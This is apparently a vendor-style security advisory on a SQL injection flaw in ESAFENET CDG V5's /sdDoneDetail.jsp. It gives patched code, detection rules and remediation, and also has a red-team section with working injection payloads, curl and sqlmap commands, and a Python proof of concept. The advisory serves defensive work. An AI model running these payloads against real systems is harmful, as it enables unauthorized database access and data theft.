CVE-2025-0791

Executive Summary

CVE-2025-0791 is a critical SQL injection vulnerability in ESAFENET CDG V5, specifically in the /sdDoneDetail.jsp endpoint. The flowId parameter is directly concatenated into SQL queries without sanitization, allowing remote unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database compromise, data exfiltration, and potential lateral movement within the network. The vendor has not responded to disclosure, and no official patch exists. Public exploit code is available, increasing the risk of active exploitation.

Note: This vulnerability is not related to WordPress, NPM, PyPI, Go, or Ruby ecosystems; it is a standalone Java-based web application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the /sdDoneDetail.jsp page of ESAFENET CDG V5. The flowId parameter is passed to a backend SQL query without proper sanitization or parameterized statements. An attacker can inject SQL commands by appending malicious payloads to the flowId value.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

String query = "SELECT * FROM flow WHERE id = " + request.getParameter("flowId");

Attack Vector: HTTP GET or POST request to /sdDoneDetail.jsp?flowId=1' OR '1'='1.

Impact: An attacker can:

• Extract sensitive data (user credentials, session tokens, business data).
• Modify or delete database records.
• Potentially execute OS commands via xp_cmdshell (if SQL Server is used and enabled).
• Escalate privileges within the application.

Known Exploit: Public proof-of-concept (PoC) uses a simple time-based blind SQLi payload to enumerate the database.

Vulnerable vs. Patched Code

Vulnerable Code (Java/JSP):

String flowId = request.getParameter("flowId");
String sql = "SELECT * FROM sdDone WHERE flowId = " + flowId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Recommended):

String flowId = request.getParameter("flowId");
String sql = "SELECT * FROM sdDone WHERE flowId = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, flowId);
ResultSet rs = pstmt.executeQuery();

Explanation: The patched version uses a parameterized query (PreparedStatement), which treats user input as data, not executable code. This prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ESAFENET CDG V5 with /sdDoneDetail.jsp accessible.
• Network connectivity to the target.

Exploitation Steps:

1. Identify the endpoint:

   curl -v "http://target.com/sdDoneDetail.jsp?flowId=1"
   

2. Test for SQL injection (time-based):

   curl "http://target.com/sdDoneDetail.jsp?flowId=1' WAITFOR DELAY '0:0:5'--"
   

   If the response is delayed by 5 seconds, the endpoint is vulnerable.

3. Extract database version (error-based):

   curl "http://target.com/sdDoneDetail.jsp?flowId=1' AND 1=CONVERT(int, @@version)--"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/sdDoneDetail.jsp?flowId=1" --batch --dbs
   

Example PoC (Python):

import requests
import time

target = "http://target.com/sdDoneDetail.jsp"
payload = "1' WAITFOR DELAY '0:0:5'--"
start = time.time()
r = requests.get(target, params={"flowId": payload})
end = time.time()
if end - start > 4:
    print("Vulnerable to SQL injection")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual flowId parameters containing SQL keywords (', --, WAITFOR, UNION, SELECT).
• Alert on HTTP requests to /sdDoneDetail.jsp with abnormal response times (time-based SQLi).
• Use WAF rules to block SQL injection patterns.

Defense:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict network access to the CDG application to trusted IPs only.
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.
• Monitor database logs for suspicious queries originating from the application.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /sdDoneDetail.jsp with flowId containing SQL metacharacters (', ", --, #, WAITFOR, UNION).
  • Unusual response times (>5 seconds) from the endpoint.
  • Outbound database connections to unexpected IPs (data exfiltration).

• File IOCs:

  • Modified JSP files in the CDG web root (e.g., /sdDoneDetail.jsp).
  • Suspicious log entries in application logs (e.g., SQLException, Incorrect syntax near).

• System IOCs:

  • Unusual database queries (e.g., xp_cmdshell, sp_configure).
  • New user accounts created in the database.

Detection Engineering

YARA Rule

rule CVE_2025_0791_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting ESAFENET CDG V5 /sdDoneDetail.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0791"
    strings:
        $sqli1 = "flowId=" nocase
        $sqli2 = "' OR '" nocase
        $sqli3 = "WAITFOR DELAY" nocase
        $sqli4 = "UNION SELECT" nocase
        $sqli5 = "1=1" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against ESAFENET CDG V5
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting /sdDoneDetail.jsp
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0791
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "flowId="
            - "' OR '"
            - "WAITFOR DELAY"
            - "UNION SELECT"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of flowId with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0791 SQL Injection Attempt"; flow:to_server; content:"/sdDoneDetail.jsp"; http_uri; content:"flowId="; http_uri; pcre:"/(\x27|\x22|WAITFOR|UNION|SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CDG application from the internet and untrusted networks.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Review access logs for signs of exploitation.

Long-term Fix:

• Rewrite the vulnerable JSP to use parameterized queries (see patched code).
• Conduct a full security audit of the application for similar vulnerabilities.
• Engage the vendor (ESAFENET) for an official patch; if unresponsive, consider migrating to a supported alternative.

Compensating Controls:

• Enforce strict input validation (allow only numeric flowId).
• Use a database firewall to monitor and block anomalous queries.
• Implement least-privilege database accounts for the application.

Valters IT